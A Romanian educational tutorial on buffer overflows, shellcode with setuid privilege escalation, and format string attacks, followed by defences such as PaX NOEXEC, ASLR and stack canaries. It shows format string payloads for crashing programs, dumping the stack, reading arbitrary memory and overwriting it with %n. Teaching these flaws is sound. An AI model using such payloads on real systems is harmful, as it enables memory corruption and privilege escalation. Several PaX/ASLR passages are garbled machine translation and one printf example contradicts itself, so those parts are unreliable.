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Exploatarea erorilor de cod.Vulnerabilitati la nivelul aplicatiilor
I. Buffer overflow
1.Introducere

Ce este buffer overflow?

In domeniul calculatoarelor si al programarii, se poate vorbi despre un buffer overflow atunci cand un program in executie, care stocheaza date intr-o zona de memorie special rezevata (numita buffer), depaseste limitele acestui spatiu si suprascrie astfel zone de memorie adiacente.
 Acest fapt poate duce la un comportament neasteptat al programului, inclusiv la erori de acces la memorie, rezultate incorecte, stoparea executiei sau chiar la formarea unei brese in securitatea sistemului. Astfel, buffer overflow reprezinta o problema ce sta la baza multor vulnerabilitati software ce pot fi exploatate cu rea intentie. Limbajele de programare C/C++ sunt frecvent asociate cu problema suprascrierii deoarece nu se ofera protectie impotriva accesarii si prelucarii datelor din memorie si nu se verifica daca dimensiunea lor este incadrata in limitele spatiului rezervat.
Scopul principal al acestui tip de atac este de a compromite un program ce beneficiaza de anumite privilegii, ca mai apoi, prin preluarea controlului asupra acestuia, sa se poata controla intreaga masina gazda.
1.1. Bufferul

Un buffer este un anumit spatiu de memorie ce a fost rezervat in prealabil si urmeaza sa fie ocupat cu date. De exemplu, daca un program preia cuvinte dintru-un fisier, putem rezerva un spatiu corespunzator celui mai mare cuvant posibil. Problema apare atunci cand in fisier se gaseste un cuvant mai mare decat zona de memorie in care urmeaza sa fie incarcat. Acest fapt poate aparea accidental sau nu.

1.2. Memoria organizata liniar. Pointerii

Modelul de memorie in care organizarea este liniara este folosit de majoritatea sistemelor de operare. Adresele incep de la 0 si avanseaza liniar, iar alocarea spatiului se face asupra unor zone continue. Proceselor le este alocata o gama virtuala de memorie ce indica spre o zona din memoria fizica prin referinta.
Un pointer este o adresa ce indica spre o zona anume din memorie. Sunt folositi mai ales pentru adresarea sirurilor de caractere sau pentru a accesa date multiple, cunoscandu-se adresa de plecare si offsetul.
Deoarece adresa fizica nu poate fi mutata, informatia trebuie copiata. Dar acest lucru poate fi dezavantajos din punct de vedere al eficacitatii, ca aceleasi date sa fie copiate pentru a fi folosite de diverse functii in diverse locuri. De aceea, accesarea prin pointeri este privita ca o solutie.
1.3. Segmentarea memoriei
Memoria unui program compilat este divizata in cinci segmente: Text, Data, BSS, Heap si Stiva. Fiecare dintre acestea reprezinta o portiune speciala de memorie care este folosita intr-un scop anume. 

Segmentul text se mai numeste si segmentul cod. Aici se gasesc instructiunile in limbaj masina ce au fost asamblate. Executia instructiunilor din segmente nu este liniara din cauza structurilor de control si a functiilor de nivel inalt, care atunci cand sunt compilate devin instructiuni de assembly cum ar fi jump sau call.
Cand se executa un program, registrul EIP este prima instructiune din segmentul de cod. Uneori, instructiunea va fi de tip jump sau call, care schimba EIP catre o adresa de memorie diferita. 

Drepturile de scriere sunt dezactivate in segmentul de cod pentru a preveni modificarea codului programului. Un alt avantaj al acestor restrictii de modificare il reprezinta faptul ca acest segment poate fi partajat intre diferite copii ale programului si permite executii multiple. Dimesiunea sa este fixa, deoarece niciodata nu pot fi aduse eventuale modificari.
Segmentele Data si BSS sunt folosite pentru a stoca variable statice si globale. Segmentul Data este incarcat cu variabile initializate, in timp ce segmentul BSS contine pe cele neintializate. Desi aceste segmente pot fi scrise, ele au de asemenea o marime fixa. Variabilele globale persista pe tot parcursul uni program deoarece sunt memorate in segmentele lor proprii.
Segmentul Heap este un segment de memorie aspra caruia programatorul poate interveni direct. Blocuri de memorie din acesta pot fi alocate si folosite pentru cerintele programului. Nu are o marime fixa, se poate dezvolta sau poate fi miscorata in functie de caz. Managementul memoriei Heap se face prin algoritmii de alocare, care pot rezerva o zona sau pot sterge aceasta rezervare, pentru reutilizarea ei ulterioara.

Stiva este un segment de memorie de marime variabila care este folosita pentru a stoca variabilele locale ale functiilor in contextul apelurilor de functii. Cand este apelata o functie, aceasta va avea propriul set de variabile trimise ca argument, iar codul functiei se afla la o locatie de memorie diferita din segmentul de cod. Deoarece EIP (Instruction Pointer) trebuie sa se modifice odata cu apelul functiei, stiva este folosita pentru a se cunoaste adresa de revenire atunci cand se iese din functie.  
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1.4. Registrii
Registrii sunt sectiuni de memorie caracterizate printr-o viteza superioara ce se gasesc in componenta procesorului. 
Primii patru registri (EAX, ECX, EDX si EBX) sunt cunoscuti ca fiind de uz general. Acestia se numesc Acumulator, Contor, Data si Baza. Sunt folositi in scopuri multiple, dar cel mai adesea functioneaza ca variabile temporare ale CPU cand sunt executate instructiuni masina.
Urmatorii patru registri (ESP, EBP, ESI si EDI) sunt tot de uz general, dar sunt cunoscuti sub denumirile de pointeri sau indecsi. Acestia sunt Stack Pointer, Source Index si Destination Index. Primii doi se numesc pointeri deoarece stocheaza adrese pe 32 de biti, care indica spre o locatie din memorie. Sunt destul de importanti pentru executia programului si managementul memoriei.
Urmatorii doi sunt tot pointeri din punct de vedere tehnic, dar se folosesc indeosebi pentru a indica sursa si destinatia atunci cand datele trebuie sa fie scrise sau citite. 
Registrul EIP, numit Instruction Pointer, indica spre instructiunea curenta executata de procesor. In mod normal, acest registru este foarte folosit in timpul depanarilor.

Registrul EFLAGS consta in mai multi biti de flag (indicatori) ce sunt utilizati pentru comparatii si segmentarea memoriei. 

1.5. Observarea si analizarea memoriei

Calculatoarele nu reprezinta continutul memoriei folosind caractere standard sau numere zecimale. Acesta foloseste sistemul de numeratie binar, iar pentru programator este mai usor de folosit sistemul hexazecimal. Cele mai multe depanatoare realizeaza translatia intre cele doua baze de numeratie, astfel incat programatorul poate interpreta si interactiona cu memoria folosind cel de-al doilea sistem enuntat, in timp ce calculatorul va folosi sistemul sau nativ. 
Exista diferite modalitati de interpretare a numerelor, asa numitul sistem „Endian”: little endian si big endian, aceste doua sisteme difera in functie de cum se considera cel mai important bit (MSB), in partea stanga (capatul mare al unui numar) sau partea dreapta (capatul mic al unui numar). Chiar daca acest fapt nu schimba numarul in  sine, va schimba modul de citire a numarului hexazecimal.
2. Analiza unui exemplu de buffer overflow 
Vulnerabilitatile de tip buffer overflow au existat de la inceputurile calculatoarelor si se regasesc si in prezent. Cei mai multi virusi folosesc aceasta problema de securitate pentru a se putea propaga. 
Odata ce este alocata memorie pentru o variabila, nu exista un mecanism de protectie care sa asigure faptul ca ceea ce va contine variabila se va incadra in acel spatiu.
Se considera urmatorul program:



Acest program accepta o parola ca argument de la linia de comanda si apeleaza apoi functia “verifica”. Sunt permise doua parole (“parola1” si “parola11”), programul simuland o posibilitate de autentificare multipla. In cazul in care este introdusa una dintre aceste parole, functia returneaza valoarea “1” si afiseaza mesajul corepsunzator.


Se va folosi pentru compilare gcc sub mediul Linux (Ubuntu 12.04), iar pentru depanare GDB.



Desi pentru inceput programul a rulat asa cum era de asteptat,  in momentul aparitiei unei buffer overflow, stringul introdus de la linia de comanda a fost considerat ca fiind parola corecta.


Mai departe, folosind depanatorul gdb, se vor seta breakpoints pe liniile 9 [strcpy(pass_buffer, pass) ] si 14 [ return flag ]. Cand vom rula programul, executia va fi oprita temporar in aceste doua puncte pentru a putea examina memoria.




Primul breakpoint se afla dupa apelul functiei strcpy(). Analizand pointerul ce indica spre pass_buffer, se poate vedea cu ajutorul depanatorului ca zona de memorie contine date aleatoare si se afla la adresa  0xbffff2dc. Flagul se afla la adresa 0xbffff2ec si are valoarea zero. Executand operatia aritmetica de scadere a adreselor, observam ca flagul se afla cu 16 octeti dupa zona de inceput a bufferului.



Folosind comanda “continue” se executa mai departe pana la cel de-al doilea breakpoint. Bufferul corepsunzator parolei, “pass_buff” este incarcat, iar atunci cand se dapaseste capacitatea acestuia, se suprascrie in zona flagului, schimband valoarea acestuia cu valoarea hexazecimala 0x41, corespunzatoare in codul ASCII literei 'A'. Programul va considera valoarea flagului ca fiind un intreg cu valoarea 1094795585.

Deoarece functia va returna un intreg, iar instructiunea if() verifica ca valoarea sa fie diferita de zero, programul va afisa mesajul aferent cazului in care parola este buna.
3.Shellcode si exploatarea privilegiilor

Vulnerabilitatea prezentata mai sus se poate exploata in continuare folosind o bucata de cod „shellcode”, numita astfel deoarece in cele mai multe cazuri, in urma executarii se porneste un terminal de comanda prin intermediul caruia poate fi compromisa securitatea sistemului.  De obicei, acest cod este scris in cod masina si poate fi de doua tipuri: local si de la distanta.

Shellcode-ul local este folosit atunci cand atacatorul are acces limitat, dar prin exploatarea unei vulnerabilitati ca buffer overflow, intr-un proces cu privilegii de nivel superior, se pot obtine drepturi suplimentare, corespunzatoare programului vulnerabil. Codul rau intentionat este injectat in stiva acestuia, iar apoi este necesara cunoasterea adresei absolute. De obicei, se va modifica adresa de revenire a unei functii cu adresa shellcode-ului. 

Deoarece majoritatea proceselor filtreaza datele ce pot fi injectate, shellcode trebuie sa fie scris in asa fel incat sa treaca de aceste restrictii. Codul trebuie facut null-free sau alphanumeric.

Pentru sistemul de operare Linux, interpretorul de comenzi se afla in directorul /bin si se numeste sh. Urmatorul program in C executa /bin/sh folosind apelul de sistem exec. 

Primitiva exec transforma procesul apelant intr-un alt proces specificat (prin numele fisierului executabil asociat) ca argument al apelului exec. Noul proces se spune ca "reacopera" procesul ce a executat apelul exec, si el mosteneste caracteristicile acestuia (inclusiv PID-ul). Mai jos avem shellcode-ul aferent (in assembly):
A treia instructiune pune "//sh" in stiva in loc de "/sh", deoarece este nevoie de o instructiune de 32 de biti, pe cand "/sh" are numai 24. Dar cum "//" este echivalent cu "/" se va folosi simbolul cu dublu slash. Mai departe, pentru a putea apela functia de sistem execve(), trebuie ca name[0] (adresa sirului), name (adresa vectorului) si valoarea NULL sa fie stocate in registrii %ebx, %ecx si %edx, acest lucru avand loc in liniile 5, 8, 9. Functia execve() este apelata cand se atribuie registrului %al vloarea 11 si se executa "int $0x80".

Asa cum s-a specificat si mai inainte, stack pointer indica spre zona de inceput a stivei, asadar adresa bufferului trebuie sa se afle imediat dupa. Pentru a afla exact aceasta adresa se folosesc instructiuni "NOP".

O instructiune "NOP", \x90 in assembly, face ca procesul sa nu execute nimic pentru un tact, iar apoi sa treaca la instructiunea urmatoare. Este folosita de obicei pentru a introduce intarzieri. Se doreste deci efectuarea unui salt la pozitia de inceput a shellcode-ului, dar nu se cunoaste cu exactitate aceasta.

In acest caz, se va umple bufferul cu un numar cunoscut de instructiuni NOP, iar shellcode-ul se va plasa undeva la mijlocul acestor instructiuni NOP. Astfel, se va putea efectua un salt la oricare dintre pozitiile la care se afla NOP, rularea lor nu aduce nicio modificare, decat o mica intarziere pana cand se va ajunge cu executia shellcode-ului. Aceasta metoda presupune cunoasterea aproximativa a adresei de inceput.

Se compileaza exemplul de program vulnerabil anterior si se face set-root-uid, compiland sub contul root, si schimbarea drepturilor executabilului:

Executabilul are acum drepturi de administrator. Se intra sub un cont de utilizator cu drepturi limitate si se ruleaza programul:


Desi userul real este acelasi, cel cu drepturi limitate, userul efectiv este de fapt root.

II.  Format string

1. Ce reprezinta format string?

Consideram urmatoarea linie de cod:


Textul ce urmeaza sa fie afisat este "Numarul pe care dorim sa il afisam este", urmat de parametrul de format “%d”, care este inlocuit de parametrul “3354” la afisaj. Deci,  variant finala la iesire va fi: “Numarul pe care dorim sa il afisam este: 1911”. Pe langa parametrul de format utilizat in acest exemplu “%d”, mai exista si altele, fiecare avand cate un rol diferit. Urmatorul tabel sumarizeaza acesti parametrii de format:

2.Stiva si rolul ei pentru format string

Comportamentul functiei de format este controlat de format string.Functia returneaza parametrii ceruti de format string din stiva:


	

	

	Adresa lui c

	Valorea lui b

	Valoarea lui a

	 Adresa format stringului

	

	



Dar daca ar exista o neconcordanta intre format string si argumentele date?


In exemplul de mai sus, format stringul cere 3 argumente, dar programul ii ofera numai 2.

Poate acest program sa treaca de compilator?

-Functia printf() este definita ca o functie cu un numar variabil de argumente, deci, daca ne uitam la numarul de argumente, totul este in regula.


-Pentru a gasi o neconcordanta, compilatorul trebuie sa inteleaga mai intai cum functioneaza functia printf() si care este rolul format stringului. De obicei, compilatoarele nu se ocupa de aceasta analiza.


-Cateodata, format stringul nu este un sir constant, ci este generat la executia programului. Asadar, compilatorului ii este imposibil sa gaseasca nepotrivirea.
Poate functia printf() sa gaseasca aceasta neconcordanta? 


-functia printf() isi ia argumentele din stiva. Daca format string-ul are nevoie de 3 argumente, atunci functia printf() ia 3 obiecte din stiva. Daca stiva nu are nicio limita marcata, printf() nu stie daca ramane fara argumente de luat.


-din moment ce nu exista un asemenea marcaj, printf() continua sa ia obiecte din stiva. In cazul unei neconcordante, printf() va lua argumente care nu sunt necesare la acea apel al functiei.

3.Atacuri la vulnerabilitatile format stringului

3.1 .   Oprirea fortata a programului

printf ("%s%s%s%s%s%s%s%s%s%s%s%s");

-pentru fiecare “%s” printf() va lua cate un numar din stiva si il va trata ca pe o adresa, afisand continutul memoriei indicate de aceasta adresa sub forma unui sir de caractere, pana cand intalneste un caracter NULL;

-existand posibilitatea ca numarul luat de printf() sa nu fie o adresa, memoria indicata de acest numar sa nu existe si programul sa se opreasca fortat;

-mai exista si situatia in care numarul sa fie o adresa, dar aceasta sa fie protejata   (de exemplu memorie kernel), rezultand din nou o oprire fortata a programului;

3.2. Vizualizarea stivei

printf ("%08x %08x %08x %08x %08x\n");

In acest caz, functia printf() va lua 5 parametrii din stiva si ii va afisa pe cate 8 biti in hexazecimal. Un posibil afisaj ar putea fi urmatoarul:

40012980
080628c4
bffff7a4
00000005
08059c04

3.3. Vizualizarea memoriei in orice locatie

-trebuie sa aprovizionam o adresa a memoriei.Totusi, nu putem schimba codul; putem doar sa aprovizionam format string-ul;

-daca folosim printf(%s) fara sa specificam o adresa de memorie, adresa tinta va fi obtinuta oricum din stiva de printf(). Functia mentine un pointer initial in stiva, deci stie pozitia parametrilor in ea.

-observatie: format string-ul este de obicei localizat in stiva. Daca codificam adresa tinta in format string, aceasta se va afla in stiva. In urmatorul exemplu, format string-ul este stocat in buffer, acesta fiind localizat in stiva.


-daca fortam functia printf() sa obtina o adresa de la format string, putem controla adresa;

printf ("\x10\x01\x48\x08 %x %x %x %x %s");

-\x10\x01\x48\x08  sunt cei 4 bytes ai adresei tinta. In limbajul C, \x10 intr-un sir ii spune compilatorului sa puna o valoare in hexazecimal 0x10 in pozitia curenta. Valoarea va ocupa doar un byte. Daca nu am fi pus si \x in sir, atunci valorile ASCII “1” si “0”  vor fi stocate. Valorile lor ASCII sunt 49, respective 48;

-%x determina pointerul stivei sa se mute in directia format string-ului;

-atacul daca user_input[] contine urmatorul format string functioneaza in felul urmator: 


"\x10\x01\x48\x08 %x %x %x %x %s"
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-practic, folosim patru %x sa mutam pointerul functiei printf() catre adresa stocata in format string. Odata ajunsi la destinatie, o sa ii dam %s lui printf(), determinand afisarea continutului adresei de memorie 0x10014808. Functia printf() va trata continutul ca un sir si va afisa sirul pana va ajunge la sfarsitul acestuia.

-spatiul din stiva dintre user_input[] si adresa transmisa functiei printf() nu este pentru printf().Totusi, din cauza vulnerabilitatii format string-ului din program, printf() le considera argumente pentru a se potrivi cu %x din format string.

-provocarea cheie din acest atac este sa aflam distanta dintre user_input[] si adresa transmisa functiei printf(). Aceasta distanta decide cati de %x trebuie introdusi in format string, inainte sa dam %s.
3.4. Scrierea unui numar intreg in aproape orice locatie din memoria de proces

-%n: Numarul de caractere scrise pana acum este stocat in numarul intreg indicat de argumentul corespunzator;


-determina functia printf() sa scrie numarul intreg 5 in variabila i;

-utilizand aceasi tehnica ca in cazul vizualizarii memoriei in orice locatie,  putem determina functia printf() sa scrie un numar intreg in orice locatie. Trebuie doar sa inlocuim pe %s cu %n si continutul adresei 0x10014808 va fi suprascris.

-utilizand acest tip de atac, atacatorii pot face urmatoarele:

Sa suprascrie flag-uri importante ce controleaza privilegiile de acces;

Sa suprascrie adrese de returnare in stiva, pointerii functiilor, etc;

-Totusi, valoarea scrisa este de terminate de numarul de caractere afisat inainte ca %n sa fie atins. Este oare posibil sa scrie valori arbitrare ale numerelor intregi?

Utilizam valori aleatoare de iesire. Pentru a scrie o valoare de 1000, atunci 1000 de caractere aleatoare ar trebui sa functioneze.

Pentru a evita format string-uri lungi, putem specifica latimea indicatorilor de format.

III.Metode de prevenire

De-a lungul timpului s-au dezvoltat mai multe mecanisme de protejare impotriva executiei de cod nedorit. Implementarile acestor scheme de protectie au fost impartite in doua mari categorii: mecanisme impuse de kernel si mecanisme impuse de compilator.
Linux Protection Suites 

Foarte mult efort a fost depus pentru ca kernel-ul Linux si compilatorul GCC să pună în aplicare metode care sa previna exploatarea vulnerabilitatilor software. Aceasta cercetare a avut un rol esențial în proiectarea de noi scheme de protecție pentru sistemul de operare Microsoft Windows și diverse alte proiecte pentru Linux. 
1. Protectia impusa de catre Kernel

Vom folosi patch-uri de kernel ale Proiectului PaX ca un exemplu de cea mai robusta protecție actuala bazata pe kernel. PaX oferă prevenire a executarii de cod nejustificat prin comenzile de acces ale gestionarii memoriei și a randomizarii adresei de spatiu, menționate de acum înainte ca NOEXEC și ASLR, respectiv. 

1.1 NOEXEC

Componenta noexec a PaX are scopul de a preveni injectarea și execuția de cod arbitrar in spațiul de memorie al unui proces existent. Implementarea noexec este formata din trei caracteristici care aplică în cele din urmă controale de acces la paginile mapate de memorie. Prima caracteristica a noexec aplică semantica executabil paginilor de memorie. Semantica executabil pot fi considerata ca aplicarea conceptelor cele mai puțin privilegiate ale MMU. Aplicarea acestor semantici pentru a crea pagini non-executabile de pe arhitectura IA - 32 poate lua două forme, în funcție de paginare ( PAGEEXEC ) și logica de segmentare ( SEGMEXEC ) ale IA - 32. Odată ce logica necesara pentru a crea pagini non-executabile a fost integrata în kernel, următorul pas este de a aplica noile caracteristici. Acest lucru poate fi realizat prin memoria care detine stiva, heap, mapările de memorie anonime și orice secțiune sa nu fie marcate în mod special la executabil într-un fișier ELF, non- executabil în mod implicit. În cele din urmă, funcționalitatile de mmap ( ) și mprotect ( ) sunt modificate pentru a preveni transformarea starilor implicte ale memoriei la o stare nesigură în timpul executării(MPROTECT). Fiecare dintre aceste concepte este acoperit în detaliu mai jos.
1.2 PAGEEXEC 

PAGEEXEC este o implementare de pagini non - executabile, derivata din logica de paginare a procesoarelor IA – 32. Familia de procesoare IA- 32  nu dispune de suport hardware nativ pentru marcarea ca non- executabil a paginilor de memorie. Cu toate acestea, punerea în aplicare a unui Translation Lookaside Buffer (TLB) divizat în Pentium și AMD K7 + CPU-uri poate fi extinsa pentru a emula pagina de suport non- executabila. Scopul TLB-ului este de a oferi o memorie cache pentru o translatie a adresei virtual in fizic, care accelerează instruirea sau preluarea de date în cadrul procesorului. Un TLB divizat are de fapt două tampoane separate, de traducere, unul pentru aduceri de instruire ( ITLB ) și unul pentru aduceri de date ( DTLB ). Incărcarea ITLB/DTLB-ului este elementul cheie pentru obtinerea de pagini non- executabile, deoarece paginile protejate pot fi marcate ca fiind " non prezent " sau " care necesită acces la nivel de supraveghere". În ambele cazuri, accesul la pagini va genera o eroare de pagină. Handler-ul erorii de pagină poate apoi să decidă dacă a fost o preluare de instrucțiuni sau acces la date. Dacă este o preluare de instrucțiuni, aceasta înseamnă că a existat o încercare de execuție în o pagina non - executabila, iar procesul poate fi terminat în consecință. Cu toate acestea, în cazul în care vina este declanșata în timpul accesului la date, paginile pot fi modificate temporar pentru a oferi acces la nivel de utilizator și apoi restaurat pentru a permite handler-ului de eroari de intrari viitoare.
1.3 SEGMEXEC

SEGMEXEC este o implementare alternativă a paginilor non- executabile care este derivat de logica segmentarii a procesoarelor IA-32. Linux rulează în modul protejat cu paginarea activata pe procesoarele IA-32, care înseamnă că fiecare traducere a adresei necesită un proces în două etape. Adresa logică trebuie să fie mai întâi convertita la o adresă liniară de la care adresa fizică corectă poate fi determinată. Aceasta este, de obicei transparenta pentru utilizatorii de Linux, în primul rând pentru că ea creează segmente identice atât pentru cod și pentru date de acces care acoperă gama de 0x00000000 - 0xFFFFFFFF și nu are nevoie de traducere între adresele memoriei logice și adresele memoriei virtual deoarece ele au aceeași valoare. PaX foloseste logica de segmentare pentru a crea intervale separate de adrese de date ( non- executabile ) si segmente de cod. 3 GB de spațiu de memorie este împărțită în jumătate, și fiecarui segment I se atribuie una din jumătăți. Segmentul de date se află în 0x00000000 - intervalul de 0x5fffffff și segmentul de cod se află în 0x60000000 - gama de 0xbfffffff. Deoarece segmentele de cod și de date sunt separate, accesurile la gama de memorie pot fi monitorizate de kernel și un defect pagină generată dacă aducerile de instruictiuni sunt inițiate în paginile non- executabile.

1.4 MPROTECT

MPROTECT este o caracteristică a PaX care are scopul de a preveni introducerea de nou cod executabil pentru un anumit spațiu de adrese al unei sarcini prin aplicarea controalelor de acces la funcționalitatea mmap ( )-ului și mprotect ( )-ului. Scopul controalelor de acces este de a preveni următoarele:

• Crearea de mapări anonime executabile

• Crearea de mapări de fișiere executabile / scriere

• Efectuarea executabil / read-only cartografierea fișierului care poate fi scris cu excepție pentru efectuarea de relocări pe un fișier ET_DYN ELF (non-PIC shared library)

• Conversia de cartografiere din non- executabil in executabil 

Fiecare cartografiere de memorie are atributele de permisiuni care sunt stocate în domeniul vm_flags al structurii VMA în kernel-ul Linux. Patru atribute sunt utilizate de către PaX pentru a defini permisiunile de un anumit domeniu de memorie mapate : VM_WRITE, VM_EXEC, VM_MAYWRITE și VM_MAYEXEC. Kernel-ul Linux cere ca VM_MAYWRITE sa fie activat  în cazul în care atributul VM_WRITE este adevărat, și același lucru este valabil și pentru atributele VM_EXEC și VM_MAYEXEC. În conditii normale, kernel-ul Linux poate avea o zonă de memorie mapata cu permisiuni  atât de scriere,cat și de exeutie, dar PaX trebuie să nege această combinație pentru a preveni introducerea de cod nou în paginile executabile. Acest lucru reduce numărul de stări posibile pentru permisiunile memoriei de a fi una din urmatoarele :

 • VM_MAYWRITE

• VM_MAYEXEC

• VM_WRITE | VM_MAYWRITE

• VM_EXEC | VM_MAYEXEC

Această, în esență,  limiteaza memoria mapata  să fie ori executabila ori editabila și se asigură că ambele nu sunt niciodată atribuite în același timp. În timp ce aceste limite pot  rupe un anumit program prost conceput și un software care generează cod în timpul rulării, este un control adecvat pentru a preveni introducerea de cod nou în zone executabile de memorie.

1.5 ASLR

Adresa Space Layout randomizare (ASLR) este conceptul care încearcă să facă exploit care depind de memorie predeterminat adresează inutil prin introducerea o anumită cantitate de dezordine la aspectul de spațiul de memorie virtuală. De randomizing locațiile din stivă, grămadă, bibliotecile încărcate și executabil binare, ASLR reduce în mod eficient probabilitatea ca un exploit care se bazează pe adrese hardcoded în aceste segmente vor redirecționa cu succes executarea de cod de la tampon furnizate. Din nou, vom folosi PaX, care este format din patru componente principale: RANDUSTACK, RANDKSTACK, RANDMMAP și RANDEXEC ca implementarea noastră exemplu de ASLR.
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Principiul ASLR. Sursa: wikipedia.org

1.6 RANDUSTACK

Componenta RANDUSTACK de PaX este responsabil pentru randomizing adrese stivă în spațiul utilizator. kernel-ului este responsabil pentru crearea unui program de stivă la fiecare execve ( ) apel de sistem. Acest lucru se face în două etape proces care implică kernel alocarea numărul corespunzător de pagini și popularea lor, dacă necesar, și apoi de cartografiere paginile de memorie alocate pentru spațiu de adrese virtuale procesului ". De obicei, pe arhitecturi x86, kernel-ul Linux hărți stiva de la sfârșitul spațiul de adrese userland și crește în jos de la virtuale 0xbfffffff adresa de memorie. RANDUSTACK modifică adresele în ambele etape ale crearea de stiva userland, astfel că memoria kernel alocate și de cartografiere de adrese virtuale în sarcina sunt modificate de o valoare aleatorie. Este demn de remarcat faptul că adresele de kernel-ului se poate deplasa cu până la 4 kB, în timp ce stiva userland poate schimba la fel de mult ca 256 MB. De asemenea, este important de remarcat faptul că, în timp ce bifurcate procese vor fi gestionate de RANDUSTACK, fire în cadrul unui proces sunt randomizat de RANDMMAP componentă a PaX ASLR.
1.7 RANDKSTACK

Componenta RANDKSTACK de PaX este responsabil pentru introducerea dezordine în nucleu stivă o sarcină lui. Fiecare activitate este atribuit două pagini de memorie kernel-ului, care este folosit pentru a gestiona operațiunile de modul de kernel în timpul durata de viață a sarcinii, cum ar fi apelurile de sistem, întreruperi hardware și excepții CPU. În mod normal, atunci când Revine kernel Linux pentru spațiu de utilizator, după o schimbare de context în modul de kernel în timpul executării unui system apel sau altă operațiune, indicatorul stiva kernel va fi la punctul de intrare inițial a kernel-ului. aceasta oferă avantajul ca kernel stivă pentru o sarcină poate fi randomizate la fiecare schimbare de context, mai degrabă decât pe fiecare execuției programului, așa cum este cazul cu spațiu de utilizator stivă randomizare. RANDKSTACK foloseste aceasta capacitate de a alege aleator fiecare apel sistem ; raționament că fiecare apel sistem este un potențial atac. Cantitatea de randomizare care PaX adaugă lastiva nucleu este limitată la o schimbare octet 128. acest ar trebui să fie suficient pentru a preveni executarea exploit- nucleu de la distanță, păstrând adresa atribuită normal.
1.8 RANDMMAP

RANDMMAP este componenta care se ocupă de randomizare a tuturor fișierelor și mapări de memorie anonime. Acest lucru se face în PaX prin agățareinterfața do_mmap ( ), care este responsabil pentru cartografierea memoria necesare pentru atribuirea BRK ( ) și mmap ( ) a reușit spațiu morman precum executabile și biblioteci. notă că doar executabile PIE ( executabil independent de poziție ) ELF sunt gestionate de RANDMMAP ; ET_EXEC Executabile ELF sunt gestionate în mod special de componenta RANDEXEC de PaX. randomizes RANDMMAP memoria specificat configurația în două moduri. Kernel-ul Linux aloca, de obicei, spațiu grămadă de început de la baza de memorie nemapată o sarcină și localizarea cea mai apropiată bucată de spațiu nealocat, care este mare suficientă pentru alimentarea dimensiunea cerută. RANDMMAP modifică această funcționalitate prin adăugarea unui aleator valoare delta_mmap de biți 12-27 de adresa de bază și o valoare PAGE_SHIFT cu 12 biți de entropie înainte de a căuta pentru memorie gratuit. Pentru mapări executabile binare de PIE, se adaugă o valoare delta_mmap 16 biți la introduce entropie.
1.9 RANDEXEC 

Ultima componenta majora a PaX este RANDEXEC. RANDEXEC este responsabil pentru randomizare localizarea  Binare ET_EXEC ELF. Relocarea unui executabil care nu este inițial conceput pentru a fi relocat, ridică unele preocupări speciale, care sunt abordate de implementarea RANDEXEC. Primul pas este de a încărcați executabilul la adresa standard cu paginile ocupate marcat non-executabile. Următor, un copie a executabil binar este creat la o locație întâmplare în memorie, folosind aceleași metode descrise în RANDMMAP. Încercări de execuție curge înapoi în cartografiere randomizat printr-o manipulare vina pagină în cazul în care pagina non-executabil este accesat în loc de imaginea mutat la întâmplare. Implementează Pax "VMA oglindire ", care se ocupă de modul în care specificul pagini fizice pot fi mapate la două virtuale diferite adrese. Pentru concizie, nu vom acoperi aceste detalii aici. Informații suplimentare pot fi găsite în documentația PaX.

1.10 Defeating PaX

PaX oferă o protecție considerabilă împotriva încercărilor de buffer overflow. Mult de cercetare a fost pus în învingându- PaX cu rezultat mic. Protectii noexec preveni eficient executarea de cod pe stiva,heap și alte segmente de date, în timp ce randomizare de adrese de bibliotecă face - retur pentru a – libc exploatare mult mai dificil. Cu toate acestea, de cercetare de Nergal13 în 2001 a arătat că există metode care ar putea ocoli securitatea PaX. Deoarece protecția stack noexec este dificil de a eluda, atacatorul este obligat să rezolve adrese de bibliotecă randomizate sau de a folosi PLT pentru a rezolva adresele de funcții pentru el.Acest lucru se poate face destul de simplu la nivel local, dar exploatare la distanță poate necesita o vulnerabilitate scurgere de informații cum ar fi un format șir bug pentru a recupera adrese de memorie de la distanță. Acesta poate fi, de asemenea, posibil ca un atacator să viza un binar care nu este poziția independent compilat. Astfel binare nu pot fi aleator mmap ( ) ceea ce duce la o revenire standard pentru a scenariu de exploatare libc. Următoarele rezultate aleVector atac Platforma de test arata cat de bine PaX protejează un sistem de vectori tradiționale de atac. Trebuie remarcat că acest test a fost efectuat pe un Linux kernel 2.4 cu SEGMEXEC și toate funcțiile randomizare activate.

2. Protectia impusa de catre compilator
Mecanismele de protectie impuse de catre compilator , adopta o abordare complet diferita in ceea ce priveste a prevenirea executiei de cod arbitrar în cadrul unui proces de protejat. Cat timp compilatorul are o intima cunoastere a structurii de cod binar, se pot face modificari la nivelul  stivei. Valori speciale numite " canari " pot fi introduse în puncte arbitrare în memorie pentru a detecta coruperea structurilor de control salvate. 

2.1 Stack Canaries

" Stack Canaries" au fost implementati prima data de Immunix Inc (cunoscut anterior ca Wirex) în patch-urile de laStackGuard CCG. Protejarea adresei de intoarcere stocata pe stiva este obiectivul principal pentru a preveni redirectionarea executiei de cod la un spatiu de adrese controlat de atacator. Adaugarea unei valori canar speciala înainte de adresa de întoarcere salvata pe stiva, combinata cu o modificare a epilogul unei functii este un mijloc eficient împotriva executarii de cod arbitrar.

Sunt 4 tipuri de canari care au fost folositi pana in prezent:

· Random Canary – Iau o valoare pe 32 de biti, pseudoaleatoare, generate de 
/ dev / random sau / dev /urandom pe un sistem de operare Linux.
· Random XOR Canary – Conceptul de canar aleator a fost extins in versiunea 2 a StackGuard pentru a oferi mai multa protectie prin efectuarea unei operatii XOR  intre valoarea canar aleator si datele de control stocate.’
· Null Canary - valoarea canar este setata la 0x00000000, care se alege astfel deoarece cele mai multe functii sir termina se termina cu o valoare nula si nu ar trebui sa fie în masura sa suprascrie adresa de returnare.
· Terminator Canary - Valoarea canar este setata ca fiind o combinatie de Null, CR, LF si 0xFF. Aceste valori actioneaza ca terminatori de sir în cele mai multe functii ce nu se termina cu un caracter null, cum ar fi gets ().
Folosirea valorii speciale, numite canari, se poate observa in 3 tipuri de protectii ale compilatoarelor bazate pe Linux, dar si in protectiile de la nivelul compilatoarelor de la Microsoft Visual C++.NET. 

2.2 Stack Guard

StackGuard este un patch create de Immunix Inc. si reprezinta punctul de plecare si pentru alte tehnologii de protectie bazate pe compilator. Acesta adauga imbunatatiri la nivelul RTL (register-transfer level), mai exact  in functiile function_prologue si function_epilogue din GCC pentru a putea genera si valida stack canary. StackGuard modifica function_prologue pentru a face GCC sa puna o valoare canar aleatoare inainte de adresa de intoarcere. Cea mai recenta versiune a fost modificata sa protejeze atat registrele salvate cat si frame pointer si implementeaza valori canare cu rol terminal.

